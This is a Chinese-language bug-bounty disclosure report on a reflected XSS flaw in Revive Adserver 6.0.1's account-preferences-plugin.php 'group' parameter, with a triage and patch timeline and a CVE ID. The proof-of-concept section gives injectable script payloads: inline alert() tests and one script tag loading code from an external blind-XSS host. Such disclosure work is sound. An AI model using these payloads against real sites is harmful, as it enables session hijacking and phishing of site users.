Revive Adserver | 报告 #3399191 - account-preferences-plugin.php 中的反射型XSS
报告由 lu3ky-13 提交
摘要
我发现 revive-adserver-6.0.1/www/admin/account-preferences-plugin.php 文件中存在一个反射型跨站脚本漏洞,漏洞点在于 group 查询参数。由于未对不可信输入进行适当的输出编码或上下文感知的转义处理,导致攻击者可以将JavaScript代码注入到生成的页面中。
受影响组件
revive-adserver-6.0.1/www/admin/account-preferences-plugin.php?group=
测试实例:████…
概念验证
自定义PoC URL (通过 xss.report 测试/报告):
██████████%27%22%3E%3Cscript%20src=//███████%3E%3C/script%3E
一个无需远程资源即可演示执行的替代(内联)PoC:
██████████%27%22%3E%3Cscript%3Ealert(9645)%3C/script%3E
在我测试中弹出提示框的“普通载荷”(非破坏性)示例:
'"()%26%25<zzz><ScRiPt >alert(9645)</ScRiPt>
安全复现步骤
- 访问:
████%27%22%3E%3Cscript%3Ealert(1)%3C/script%3E - 观察注入的
<script>alert(1)</script>是否被执行(弹出提示框)—— 确认反射型XSS。
影响
攻击者可以注入在受害者浏览器上下文中执行的脚本。这可用于典型的XSS滥用(UI伪装、钓鱼内容持久化、会话操纵)。注意:我只测试了非破坏性的PoC,并未尝试窃取敏感信息。
时间线与处理
- 2025年10月25日 03:23 UTC:lu3ky-13 向 Revive Adserver 提交报告。
- 2025年10月25日 07:03 UTC:Revive Adserver 团队成员 mbeccati 将状态更改为 已分类,并确认了反射型XSS漏洞的存在。
- 2025年10月26日 11:18 UTC:mbeccati 发布评论,指出随附的
h1-3399191.patch文件应能修复该漏洞。漏洞发生的原因是"group"参数未得到妥善清理。修复方案现在会从输入中丢弃意外字符,并验证其是否为有效输入(即该插件组确实有需要显示给用户的偏好设置)。 - 2025年10月26日 11:22 UTC:mbeccati 将严重程度从 高 (7.3) 调整为 中 (4.3),以更贴合反射型XSS攻击的实际情况。
- 2025年10月28日 11:02 UTC:mbeccati 将报告状态更改为 已解决 并关闭了报告。评论指出计划在接下来一周的周三(11月5日)进行安全更新,修复多个漏洞,将申请CVE-ID并准备详细的安全公告。
- 2025年10月28日 11:57 UTC:lu3ky-13 提供了其署名信息。
- 2025年10月31日 13:45 UTC:mbeccati 更新了CVE参考编号为 CVE-2025-48987。
- 2025年11月19日 09:32 UTC:报告被同意公开披露。
后续沟通
在报告披露约10天后,lu3ky-13 留言称收到通知,发现有人使用了报告中的载荷,并因其可能构成盲XSS而请求删除或编辑报告中的载荷。项目方回复无法编辑其摘要部分。最终,报告者自行删除了其摘要中的相关内容。
报告信息
- 报告日期:2025年10月25日 03:23 UTC
- 报告者:lu3ky-13
- 报告ID:#3399191
- 状态:已解决
- 严重程度:中 (4.3)
- 披露日期:2025年11月19日 09:32 UTC
- 漏洞类型:反射型跨站脚本 (XSS)
- CVE ID:CVE-2025-48987
- 赏金:隐藏